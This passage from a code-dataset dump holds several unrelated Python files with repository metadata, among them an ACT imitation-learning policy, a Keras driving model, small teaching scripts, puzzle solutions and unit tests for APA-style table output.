parser.add_argument('--pre_norm', action='store_true')\n\n # * Segmentation\n parser.add_argument('--masks', action='store_true',\n help=\"Train segmentation head if the flag is provided\")\n\n # Not used\n parser.add_argument(\"--real-demo-folder\", default=None, type=str)\n parser.add_argument(\"--sim-demo-folder\", default=None, type=str)\n parser.add_argument(\"--sim-dataset-folder\", default=None)\n parser.add_argument(\"--sim-aug-dataset-folder\", default=None, type=str)\n parser.add_argument(\"--backbone-type\", default=\"regnet_3_2gf\")\n parser.add_argument(\"--eval-freq\", default=100, type=int)\n parser.add_argument(\"--eval-start-epoch\", default=400, type=int)\n parser.add_argument(\"--eval-only\", action=\"store_true\")\n parser.add_argument(\"--ckpt\", default=None, type=str)\n parser.add_argument(\"--num-epochs\", default=2000, type=int)\n parser.add_argument(\"--real-batch-size\", default=32678, type=int)\n parser.add_argument(\"--sim-batch-size\", default=32678, type=int)\n parser.add_argument(\"--val-ratio\", default=0.1, type=float)\n parser.add_argument(\"--eval-randomness-scale\", default=0, type=int)\n parser.add_argument(\"--randomness-rank\", default=1, type=int)\n parser.add_argument(\"--finetune\", action=\"store_true\")\n parser.add_argument(\"--task-name\", default=\"pick_place\", type=str)\n parser.add_argument(\"--dann\", action=\"store_true\")\n parser.add_argument(\"--is-feature\", default=False, type=bool)\n parser.add_argument(\"--domain_weight\", default=20, type=float)\n parser.add_argument(\"--object-name\", default=\"mustard_bottle\", type=str)\n\n return parser\n\n\ndef kl_divergence(mu, logvar):\n batch_size = mu.size(0)\n assert batch_size != 0\n if mu.data.ndimension() == 4:\n mu = mu.view(mu.size(0), mu.size(1))\n if logvar.data.ndimension() == 4:\n logvar = logvar.view(logvar.size(0), logvar.size(1))\n\n klds = -0.5 * (1 + logvar - mu.pow(2) - logvar.exp())\n total_kld = klds.sum(1).mean(0, True)\n dimension_wise_kld = klds.mean(0)\n mean_kld = klds.mean(1).mean(0, True)\n\n return total_kld, dimension_wise_kld, mean_kld\n\n\ndef build_ACT_model_and_optimizer(args_override):\n parser = argparse.ArgumentParser(\n 'DETR training and evaluation script', parents=[get_args_parser()])\n args = parser.parse_args()\n\n for k, v in args_override.items():\n setattr(args, k, v)\n\n model = build_ACT_model(args)\n model.cuda()\n\n param_dicts = [\n {\"params\": [p for n, p in model.named_parameters(\n ) if \"backbone\" not in n and p.requires_grad]},\n {\n \"params\": [p for n, p in model.named_parameters() if \"backbone\" in n and p.requires_grad],\n \"lr\": args.lr_backbone,\n },\n ]\n optimizer = torch.optim.AdamW(param_dicts, lr=args.lr,\n weight_decay=args.weight_decay)\n\n return model, optimizer\n\n\nclass ACTPolicy(nn.Module):\n def __init__(self, args_override):\n super().__init__()\n model, optimizer = build_ACT_model_and_optimizer(args_override)\n self.model = model # CVAE decoder\n self.optimizer = optimizer\n self.kl_weight = args_override['kl_weight']\n self.domain_weight = args_override['domain_weight']\n self.dann = args_override['dann']\n self.is_feature = args_override['is_feature']\n print(f'KL Weight {self.kl_weight}')\n\n def __call__(self, obs, qpos, actions=None, is_pad=None, sim_real_label=None):\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n obs = normalize(obs) if not self.is_feature else obs\n\n if actions is not None: # training time\n actions = actions[:, :self.model.num_queries]\n is_pad = is_pad[:, :self.model.num_queries]\n if self.dann:\n a_hat, is_pad_hat, (mu, logvar), domain_logits = self.model(\n obs, qpos, actions, is_pad)\n domain_loss = F.binary_cross_entropy(\n domain_logits, sim_real_label)\n else:\n a_hat, is_pad_hat, (mu, logvar) = self.model(\n obs, qpos, actions, is_pad)\n total_kld, dim_wise_kld, mean_kld = kl_divergence(mu, logvar)\n loss_dict = dict()\n all_l1 = F.l1_loss(actions, a_hat, reduction='none')\n l1 = (all_l1 * ~is_pad.unsqueeze(-1)).mean()\n loss_dict['l1'] = l1\n loss_dict['kl'] = total_kld[0]\n if self.dann:\n loss_dict['domain'] = domain_loss\n loss_dict['loss'] = loss_dict['l1'] + loss_dict['kl'] * \\\n self.kl_weight + loss_dict['domain'] * self.domain_weight\n else:\n loss_dict['loss'] = loss_dict['l1'] + \\\n loss_dict['kl'] * self.kl_weight\n return loss_dict\n\n else: # inference time\n # no action, sample from prior\n a_hat, _, (_, _) = self.model(obs, qpos)\n return a_hat\n\n def configure_optimizers(self):\n return self.optimizer\n\n\nclass ActAgent(object):\n def __init__(self, args):\n\n enc_layers = 4\n dec_layers = 7\n nheads = 8\n policy_config = {'lr': args['lr'],\n 'weight_decay': args['weight_decay'],\n 'num_queries': args['num_queries'],\n 'kl_weight': args['kl_weight'],\n 'hidden_dim': args['hidden_dim'],\n 'dim_feedforward': args['dim_feedforward'],\n 'lr_backbone': 1e-5,\n 'backbone': 'resnet18',\n 'enc_layers': enc_layers,\n 'dec_layers': dec_layers,\n 'nheads': nheads,\n 'dann': args['dann'],\n 'domain_weight': args['domain_weight'],\n 'is_feature': args['is_feature'],\n }\n\n set_seed(args['seed'])\n self.policy = ACTPolicy(policy_config)\n self.policy.cuda()\n self.optimizer = self.policy.configure_optimizers()\n\n def compute_loss(self, obs, qpos, actions, is_pad, sim_real_label):\n loss_dict = self.policy(obs, qpos, actions, is_pad, sim_real_label)\n return loss_dict\n\n def update_policy(self, loss):\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n return loss.detach().cpu().item()\n\n def evaluate(self, obs, qpos, action=None, is_pad=None):\n pred_action = self.policy(obs, qpos)\n\n if action is not None:\n assert is_pad is not None\n all_l1 = F.l1_loss(pred_action, action, reduction='none')\n l1 = (all_l1 * ~is_pad.unsqueeze(-1)).mean()\n return l1.detach().cpu().item()\n\n return pred_action\n\n def save(self, weight_path, args):\n torch.save({\n 'act_network_state_dict': self.policy.state_dict(),\n 'args': args,\n }, weight_path\n )\n\n def load(self, weight_path):\n act_network_checkpoint = torch.load(weight_path)\n self.policy.load_state_dict(\n act_network_checkpoint['act_network_state_dict'])\n args = act_network_checkpoint['args']\n return args\n\n def finetune(self, args):\n act_network_checkpoint = torch.load(args[\"ckpt\"])\n self.policy.load_state_dict(\n act_network_checkpoint['act_network_state_dict'])\n\n # for name, param in self.policy.model.named_parameters():\n # param.requires_grad = False\n\n # # for param in self.policy.model.encoder.parameters():\n # # if param.dim() > 1:\n # # # nn.init.xavier_uniform_(param)\n # # param.requires_grad = True\n\n # for param in self.policy.model.backbones.parameters():\n # if param.dim() > 1:\n # # nn.init.xavier_uniform_(param)\n # param.requires_grad = True\n\n # for name, param in self.policy.model.named_parameters():\n # if \"transformer.encoder.layers.3\" in name:\n # if param.dim() > 1:\n # # nn.init.xavier_uniform_(param)\n # param.requires_grad = True\n # elif \"transformer.decoder.layers.5\" in name:\n # if param.dim() > 1:\n # # nn.init.xavier_uniform_(param)\n # param.requires_grad = True\n # elif \"transformer.decoder.layers.6\" in name:\n # if param.dim() > 1:\n # # nn.init.xavier_uniform_(param)\n # param.requires_grad = True\n # elif \"encoder.layers.3\" in name:\n # if param.dim() > 1:\n # # nn.init.xavier_uniform_(param)\n # param.requires_grad = True\n\n ############## Initialize optimizer and BatchNorm##################\n pg = [p for _, p in self.policy.model.named_parameters()\n if p.requires_grad]\n self.optimizer = torch.optim.AdamW(\n pg, lr=args['lr'], weight_decay=args['weight_decay'])\n args = act_network_checkpoint['args']\n return args\n","repo_name":"wang59695487/hand_teleop_real_sim_mix_adr","sub_path":"main/policy/act_agent.py","file_name":"act_agent.py","file_ext":"py","file_size_in_byte":11872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32471974883","text":"# Loja da Camila Brazão\nprint('Bem vindo a loja da Camila Brazão')\nvalor=int(input('Valor do produto: '))\nqtd=int(input('Qual a quantidade? '))\npreco= valor*qtd\nprint('O valor sem desconto é R$ {:.2f}'.format(preco))\nif (qtd<=9):\n print('Esta quantidade não recebe desconto')\n print('O preço do produto será R$ {:.2f}'.format(preco))\nelif qtd<=99:\n desconto = preco*(5/100)\n preco_com_desconto= preco - desconto\n print('O valor com desconto é R$ {:.2f}'.format(preco_com_desconto)) #desconto de 5%\"\nelif qtd<=999:\n desconto = preco*(10/100)\n preco_com_desconto = preco - desconto\n print('O valor com desconto é R$ {:.2f}'.format(preco_com_desconto)) #desconto de 10%\nelse:\n desconto = preco*(15/100)\n preco_com_desconto = preco - desconto\n print('O valor com desconto é R$ {:.2f}'.format(preco_com_desconto)) #desconto de 15%","repo_name":"CamilaBrazao/Loja-de-descontos","sub_path":"Loja de descontos.py","file_name":"Loja de descontos.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34223678769","text":"from utils import get_input_for_day\nimport numpy as np\n\n\nDAY = 3\n\ninput_data = [list(i) for i in get_input_for_day(DAY)]\n\nstart = np.array([0, 0])\ninput_width = len(input_data[0])\nstep = np.array([3, 1])\nvisited_locations = [i * step for i in range(len(input_data))]\ntree_count = 0\nfor i in visited_locations:\n x = i[0] % input_width\n y = i[1]\n if input_data[y][x] == \"#\":\n tree_count += 1\nprint(tree_count)\n","repo_name":"olly-writes-code/advent_of_code","sub_path":"2020/day3/star1.py","file_name":"star1.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11464731929","text":"# Class should be singular and it should start with capital letter\nclass PlayerCharacter:\n membership = True\n def __init__(self, name, age):\n if self.membership:\n self.name = name # regular class attributes\n self.age = age\n \n def run(self):\n print(f'run {self.name}')\n return 'done'\n \nplayer1 = PlayerCharacter('Abhay', 21)\nplayer2 = PlayerCharacter('Alok', 19)\n\n# help(PlayerCharacter)\n\nprint(player1.run())\n\nPlayerCharacter.membership = False\n\nprint(player1.membership)\nprint(player2.membership)","repo_name":"abhay2002-pro/Python_Tutorials","sub_path":"OOP/1_create_class.py","file_name":"1_create_class.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40528974214","text":"import os\nimport csv\nimport cv2\nimport numpy as np\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, Dropout\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.layers.pooling import MaxPooling2D\n\ncsv_file = './DATA/driving_log.csv'\n\nif __name__ == '__main__':\n samples = []\n with open(csv_file) as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n samples.append(line)\n\n train_samples, validation_samples = train_test_split(samples, test_size=0.2)\n\n def generator(samples, batch_size=32, train=False):\n angle_correction = [0., +.2, -.2]\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n samples = sklearn.utils.shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset+batch_size]\n\n images = []\n angles = []\n for batch_sample in batch_samples:\n for i in range(3):\n name = './DATA/IMG/'+batch_sample[i].split('/')[-1]\n image = cv2.imread(name)\n angle = float(batch_sample[3]) + angle_correction[i]\n images.append(image)\n angles.append(angle)\n\n augmented_images, augmented_angles = [], []\n for image, angle in zip(images,angles):\n augmented_images.append(image)\n augmented_angles.append(angle)\n augmented_images.append(cv2.flip(image,1))\n augmented_angles.append(angle*-1.0)\n\n def sampleLists(X,y, sample=0.5):\n X_shuff, y_shuff = sklearn.utils.shuffle(X,y)\n size = int(len(X)*sample)\n return np.array(X_shuff[:size]), np.array(y_shuff[:size])\n\n sample = 0.5 if train else 1.0\n yield sampleLists(augmented_images, augmented_angles, sample=sample)\n\n batch_size = 32\n # compile and train the model using the generator function\n train_generator = generator(train_samples, batch_size=batch_size, train=True)\n validation_generator = generator(validation_samples, batch_size=batch_size)\n\n model = Sequential()\n model.add(Lambda(lambda x: x / 255.0 - 0.5, input_shape=(160,320,3)))\n model.add(Cropping2D(cropping=((70,25),(0,0))))\n model.add(MaxPooling2D())\n model.add(Convolution2D(6,5,5,subsample=(2,2),activation=\"relu\"))\n model.add(MaxPooling2D())\n model.add(Convolution2D(6,5,5,activation=\"relu\"))\n model.add(MaxPooling2D())\n model.add(Flatten())\n model.add(Dense(120))\n model.add(Dropout(0.5))\n model.add(Dense(84))\n model.add(Dense(1))\n\n model.compile(loss='mse', optimizer='nadam')\n model.fit_generator(train_generator, samples_per_epoch=len(train_samples)*3,\n validation_data=validation_generator, nb_val_samples=len(validation_samples)*6,\n nb_epoch=4)\n \n #save model\n model.save('./model.h5')","repo_name":"bejjani/udacityCarND","sub_path":"CarND-Behavioral-Cloning-P3/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37304204734","text":"class Solution:\n def minimumLengthEncoding(self, words: List[str]) -> int:\n words = set(words)\n deleted = set()\n for word in words:\n n = len(word)\n for j in range(1, n):\n curr = word[-j:]\n if curr in words:\n deleted.add(curr)\n for word in deleted:\n words.remove(word)\n return len(words) + sum([len(w) for w in words])","repo_name":"theabbie/leetcode","sub_path":"short-encoding-of-words.py","file_name":"short-encoding-of-words.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"10361605890","text":"__author__ = 'navyakandkuri'\n__author__ = 'navyakandkuri'\nfrom app.data_managers import places_data_manager, event_data_manager\nfrom geojson import Point\nfrom app.data_managers.places_data_manager import PlaceDataManager\nfrom app.data_managers.event_data_manager import EventDataManager\nimport time\n\n'''campus buildings'''\ndef create_yost():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Yost Hall'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.608950, 41.503553))\n place['senti_score'] = -3.55\n place['rating_average'] = 3.9\n place['rating_count'] = 21\n return place\n\ndef create_strosacker():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Strosacker Auditorium'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.607330, 41.503304))\n place['senti_score'] = 8\n place['rating_average'] = 4.1\n place['rating_count'] = 18\n return place\n\ndef create_nord():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Nord Hall'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.607824, 41.502485))\n place['senti_score'] = 8.66\n place['rating_average'] = 0\n place['rating_count'] = 0\n return place\n\ndef create_white():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'White Building'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.607416, 41.501922))\n place['senti_score'] = 4.20\n place['rating_average'] = 2.6\n place['rating_count'] = 5\n return place\n\ndef create_glennan():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Glennan Student Building'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.606998, 41.501553))\n place['senti_score'] = 5\n place['rating_average'] = 0\n place['rating_count'] = 0\n return place\n\ndef create_bingham():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Bingham Hall'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.606955, 41.502412))\n place['senti_score'] = -1\n place['rating_average'] = 4\n place['rating_count'] = 61\n return place\n\ndef create_tink():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Tinkham Veale University Center'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.608752, 41.508473))\n place['senti_score'] = 4\n place['rating_average'] = 4\n place['rating_count'] = 83\n return place\n\n\ndef create_thwing():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Thwing Student Center'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.608199, 41.507386))\n place['senti_score'] = 6\n place['rating_average'] = 4\n place['rating_count'] = 14\n return place\n\n\ndef create_veale():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Veale Athletic Center'\n place['type'] = 'CampusBuilding'\n place['geo_coordinates'] = Point((-81.606295, 41.500936))\n place['senti_score'] = 7\n place['rating_average'] = 4\n place['rating_count'] = 45\n return place\n\n'''study locations'''\ndef create_ksl():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Kelvin Smith Library'\n place['type'] = 'StudyLocation'\n place['geo_coordinates'] = Point((-81.609578, 41.507348))\n place['senti_score'] = -9\n place['rating_average'] = 4.1\n place['rating_count'] = 20\n return place\n\ndef create_glennan_lounge():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Glennan Lounge'\n place['type'] = 'StudyLocation'\n place['geo_coordinates'] = Point((-81.606998, 41.501553))\n place['senti_score'] = 1\n place['rating_average'] = 3\n place['rating_count'] = 42\n return place\n\ndef create_bingham_lounge():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Bingham Lounge'\n place['type'] = 'StudyLocation'\n place['geo_coordinates'] = Point((-81.606955, 41.502412))\n place['senti_score'] = 7\n place['rating_average'] = 3\n place['rating_count'] = 81\n return place\n\ndef create_wade_commons():\n\n proto = places_data_manager.min_place_dict\n\n place = proto.copy()\n place['name'] = 'Wade Commons'\n place['type'] = 'StudyLocation'\n place['geo_coordinates'] = Point((-81.605211, 41.513051))\n place['senti_score'] = 12\n place['rating_average'] = 2\n place['rating_count'] = 17\n return place\n\ndef create_all_cb_and_sl():\n pm = PlaceDataManager()\n yost = create_yost()\n strosacker = create_strosacker()\n nord = create_nord()\n white = create_white()\n glennan = create_glennan()\n bingham = create_bingham()\n tink =create_tink()\n thwing = create_thwing()\n veale = create_veale()\n pm.insert_one_place(yost)\n pm.insert_one_place(strosacker)\n pm.insert_one_place(nord)\n pm.insert_one_place(white)\n pm.insert_one_place(glennan)\n pm.insert_one_place(bingham)\n pm.insert_one_place(tink)\n pm.insert_one_place(veale)\n ksl = create_ksl()\n glennan_lounge = create_glennan_lounge()\n b_lounge = create_bingham_lounge()\n wade = create_wade_commons()\n pm.insert_one_place(ksl)\n pm.insert_one_place(glennan_lounge)\n pm.insert_one_place(b_lounge)\n pm.insert_one_place(wade)\n\nif __name__ == '__main__':\n create_all_cb_and_sl()\n","repo_name":"waltyellow/project-clipper-2","sub_path":"app/test_data/cb_and_sl.py","file_name":"cb_and_sl.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25533321566","text":"\"\"\"\nConsider a string, s, of n lowercase English letters where each character, s_i (0<=i result_1:\n# y_pred.append(0)\n# else:\n# y_pred.append(1)\n# cm = metrics.confusion_matrix(y_true=y_true, y_pred=y_pred)\n# fig, (ax1, ax2) = plt.subplots(2, 1, sharex=True, sharey=True)\n# xx = range(0, len(y_pred))\n# ax1.plot(xx, y_true, 'r*')\n# ax1.set_title(\"true\")\n# ax2.plot(xx, y_pred, 'b*')\n# ax2.set_title(\"predicted\")\n# # plt.show()\n# utils.print_result(cm)\n# utils.find_fog(y_pred)\n#\n# print('random tree')\n# y_predicted = clf.predict(X=X_test)\n# utils.find_fog(y_predicted)\n# utils.print_result(metrics.confusion_matrix(y_test, y_pred=y_predicted))\n# utils.find_fog(y_test)\n","repo_name":"yang-xiaodong-ai/FOG","sub_path":"GMMHMM.py","file_name":"GMMHMM.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17197988109","text":"import numpy as np\nimport scipy as sp \nimport matplotlib.pyplot as plt \nfrom scipy.sparse import spdiags\n\nN = 100\nh = 0.0001\n\ne = np.ones(N)\nA = spdiags([-e,2*e,-e], [-1,0,1], N, N).toarray()\n\nA[0,:]=np.zeros(N)\nA[0,0]=1\nA[N-1,:]=np.zeros(N) \nA[N-1,N-1]=1\n\np = np.zeros(N)\nm = int((N/2)-1)\np[m] = -1/h**3\n\nb = (h**2)*p*(1e-19/(1e-9*1e-12))\n\nb[0] = 0\nb[N-1] = 0\n\ny = np.linalg.solve(A,b)\n\nx = np.linspace(-2,2,N)*1e-9\n\nplt.plot(x,y)\nplt.show()\n\n\n","repo_name":"pgwijesinghe/misc","sub_path":"Poisson_Numerov/poisson.py","file_name":"poisson.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25976687361","text":"import pandas as pd\nimport global_vars\nimport decision_funcs\nimport os\nimport traceback\n\nfrom docx import Document\nfrom openpyxl import load_workbook\n\n# Suprpressing SettingWithCopyWarning pandas warning\npd.options.mode.chained_assignment = None\n\n# All expected APA tables are located in the APA_tables/expected tables folder. The tests are located in the Apa-table_tests.csv file - this file provides input values\n# for each global variable.\n# The tests below go through each test from the csv, set the global variables, use the deicision funcs (which trigger the main funcs) to generate APA tables\n# and compare the newly generated APA tables with the expected tables. For word, this is based on the xml, for excel the comparison is done\n# by comparing each cell's properties\n# Any of the expected/output tables files are modified manually in any way, the tests will fail. This is most likely due to excel picking up the current user's theme.\n# For example, if on my computer I change the VALUE of an expected Excel table, an error will pop up on the border of the first cell (A1) because the border color will not match.\n\nTESTS_APA_TABLES_INPUT_DATAFRAMES_FOLDER = os.path.join(global_vars.unit_tests_directory, \"APA_tables\", \"input dataframes\")\nTESTS_APA_TABLES_OUTPUT_TABLES_FOLDER = os.path.join(global_vars.unit_tests_directory, \"APA_tables\", \"output tables\")\nTEST_APA_TABLES_EXPECTED_TABLES_FOLDER = os.path.join(global_vars.unit_tests_directory, \"APA_tables\", \"expected tables\")\n\n#-------------------------------------------------------Running the tests from the test.csv file\ndef apa_outputs_test():\n\tdf = pd.read_csv(os.path.join(global_vars.unit_tests_directory, \"APA_tables\", \"apa_table_tests.csv\"), keep_default_na=False)\n\n\tdef str_to_arr(x, pairttest=False):\n\t\tx = x.replace(\"[\",\"\")\n\t\tx = x.replace(\"]\", \"\")\n\t\tx = x.replace(\"'\", \"\")\n\t\tx = x.replace(\" \", \"\")\n\t\tx = x.split(\",\")\n\t\tif pairttest:\n\t\t\tx = [x[i:i+2] for i in range(0, len(x), 2)]\n\t\treturn x\n\n\tfor row_ind in range(0, len(df)):\n\t\trow = df.loc[row_ind]\n\t\t\n\t\tglobal_vars.input_path_and_filename = os.path.join(TESTS_APA_TABLES_INPUT_DATAFRAMES_FOLDER, row[0])\n\t\tglobal_vars.alpha_threshold = row[1]\n\t\tglobal_vars.output_filename = None\n\t\tglobal_vars.output_filetype = row[3]\n\t\tglobal_vars.input_type = row[4]\n\t\tglobal_vars.raw_test = row[5]\n\t\tglobal_vars.raw_corr_type = row[6]\n\t\tglobal_vars.raw_corr_vars = str_to_arr(row[7])\n\t\tglobal_vars.raw_corr_include_CI = row[8]\n\t\tglobal_vars.raw_mr_outcomevar = row[9]\n\t\tglobal_vars.raw_mr_predictors = str_to_arr(row[10])\n\t\tglobal_vars.raw_indttest_groupvar = row[11]\n\t\tglobal_vars.raw_indttest_grouplevel1 = row[12]\n\t\tglobal_vars.raw_indttest_grouplevel2 = row[13]\n\t\tglobal_vars.raw_indttest_dv = str_to_arr(row[14])\n\t\tglobal_vars.raw_pairttest_var_pairs = str_to_arr(row[15], pairttest=True)\n\t\tglobal_vars.summ_corr_varOne = row[16]\n\t\tglobal_vars.summ_corr_varTwo = row[17]\n\t\tglobal_vars.summ_corr_coeff = row[18]\n\t\tglobal_vars.summ_corr_pvalues = row[19]\n\t\tglobal_vars.summ_indttest_var = row[20]\n\t\tglobal_vars.summ_indttest_meanOne = row[21]\n\t\tglobal_vars.summ_indttest_sdOne = row[22]\n\t\tglobal_vars.summ_indttest_nOne = row[23]\n\t\tglobal_vars.summ_indttest_meanTwo = row[24]\n\t\tglobal_vars.summ_indttest_sdTwo = row[25]\n\t\tglobal_vars.summ_indttest_nTwo = row[26]\n\t\tglobal_vars.summ_indttest_equal_var = row[27]\n\t\tglobal_vars.spss_test = row[28]\n\t\tglobal_vars.spss_indttest_nOne = row[29]\n\t\tglobal_vars.spss_indttest_nTwo = row[30]\n\t\tglobal_vars.spss_indttest_groupOneLabel = row[31]\n\t\tglobal_vars.spss_indttest_groupTwoLabel = row[32]\n\t\tglobal_vars.spss_pairttest_n = row[33]\n\t\tglobal_vars.pvalues_col = row[34]\n\t\tglobal_vars.effect_size_choice = row[35]\n\t\tglobal_vars.correction_type = row[36]\n\t\tglobal_vars.non_numeric_input_raise_errors = row[37]\n\t\tglobal_vars.corr_table_triangle = row[38]\n\t\ttest_name = row[39]\n\t\ttest_id = row[40]\n\n\t\tglobal_vars.output_filename = os.path.join(TESTS_APA_TABLES_OUTPUT_TABLES_FOLDER, str(test_id) + \"_\" + test_name)\n\n\t\traw_data_df = decision_funcs.get_raw_data_df()\n\t\tmod_raw_data_df = decision_funcs.modify_raw_data_df(raw_data_df)\n\t\toutput_df = decision_funcs.generate_output_df(mod_raw_data_df)\n\t\toutput_df = decision_funcs.multitest_correction(output_df)\n\t\tdecision_funcs.save_output(mod_raw_data_df, output_df)\n\n\t\tif global_vars.output_filetype == \"Word\":\n\t\t\texpected_table = Document(os.path.join(TEST_APA_TABLES_EXPECTED_TABLES_FOLDER, str(test_id) + \"_\" + test_name + \".docx\"))\n\t\t\toutput_table = Document(os.path.join(TESTS_APA_TABLES_OUTPUT_TABLES_FOLDER, str(test_id) + \"_\" + test_name + \".docx\"))\n\t\t\tif expected_table.element.xml != output_table.element.xml:\n\t\t\t\traise Exception(\"Problem when comparing word xml. Test ID: {}\".format(test_id))\n\t\telif global_vars.output_filetype == \"Excel\":\n\t\t\texpected_table = load_workbook(os.path.join(TEST_APA_TABLES_EXPECTED_TABLES_FOLDER, str(test_id) + \"_\" + test_name + \".xlsx\"), read_only=True)\n\t\t\texpected_table_ws = expected_table.active\n\t\t\toutput_table = load_workbook(os.path.join(TESTS_APA_TABLES_OUTPUT_TABLES_FOLDER, str(test_id) + \"_\" + test_name + \".xlsx\"), read_only=True)\n\t\t\toutput_table_ws = output_table.active\n\n\t\t\t# get all cell attributes; then loop through each cell and compare each cell's attributes\n\t\t\tcell_attrs = [attr for attr in dir(expected_table_ws[\"A1\"]) if not attr.startswith(\"_\") and attr != \"parent\"]\n\t\t\tfor row in expected_table_ws.iter_rows(min_row=1, max_row=expected_table_ws.max_row, max_col=expected_table_ws.max_column):\n\t\t\t\tfor expected_table_cell in row:\n\t\t\t\t\tif type(expected_table_cell).__name__ != \"EmptyCell\":\n\t\t\t\t\t\toutput_table_cell = output_table_ws[expected_table_cell.coordinate]\n\t\t\t\t\t\tfor attr in cell_attrs:\n\t\t\t\t\t\t\tif getattr(expected_table_cell, attr) != getattr(output_table_cell, attr):\n\t\t\t\t\t\t\t\traise Exception(\"Problem when comparing excel cells. Test ID {id}. Problematic cell's coordinates: {c}. Problematic attribute: {a}\".format(id=test_id, c=expected_table_cell.coordinate, a=attr))\n\ndef main():\n\ttry:\n\t\tapa_outputs_test()\n\t\tprint(\"APA tables tests passed!\")\n\texcept Exception:\n\t\tprint(traceback.format_exc())\n\t\tprint(\"Remember that if any of the expected/output tables files are modified manually in any way, the tests will fail.\")","repo_name":"nikbpetrov/mufos","sub_path":"Source code/tests_APAtables.py","file_name":"tests_APAtables.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29015020913","text":"## @file\r\n# @brief\r\n# Implementation of the\r\n# @ref DesignPatternExamples_python.decorator.decorator_exercise.Decorator_Exercise \"Decorator_Exercise\"()\r\n# function as used in the @ref decorator_pattern.\r\n\r\nfrom .decorator_classes import WhiteBackgroundDecorator, UnderlineDecorator, RedForegroundDecorator, TextElement\r\n\r\n\r\n## Example of using the @ref decorator_pattern.\r\n# \r\n# The Decorator pattern is used when a class instance at run time needs\r\n# to have its behavior altered. This is supported by providing wrapper\r\n# classes called decorators that take instances of the IRenderElement\r\n# interface. All elements look the same and can therefore recursively\r\n# wrap other decorators. The base element never wraps anything and\r\n# decorators must ultimately wrap a non-decorator class to be of any\r\n# use.\r\n\r\n# ! [Using Decorator in Python]\r\ndef Decorator_Exercise():\r\n print()\r\n print(\"Decorator Exercise\")\r\n\r\n baseElement = TextElement(\"This is raw text\")\r\n\r\n # Wrap the base element in three decorators.\r\n wrappedElement = \\\r\n WhiteBackgroundDecorator(\r\n UnderlineDecorator(\r\n RedForegroundDecorator(baseElement)\r\n )\r\n )\r\n\r\n # Now render the elements to the console.\r\n print(\" base Text element: \\\"{0}\\\"\".format(baseElement.Render()))\r\n print(\" Decorated element: \\\"{0}\\\"\".format(wrappedElement.Render()))\r\n\r\n print(\" Done.\")\r\n# ! [Using Decorator in Python]\r\n","repo_name":"stephenlepisto/designpatternexamples","sub_path":"python/DesignPatternExamples_python/decorator/decorator_exercise.py","file_name":"decorator_exercise.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13043915184","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport math\nfrom point import Point\n\nclass Circle(Point):\n \"\"\" class for 2D circles \"\"\"\n\n def __init__(self, x=0, y=0, p=2, r=1):\n\n super(Circle, self).__init__(x, y, p)\n self.r = r\n\n def __str__(self):\n\n return (\"{0:.\" + str(self.p) + \"f}, {1:.\" + str(self.p) + \"f}, {2:.\" +\n str(self.p) + 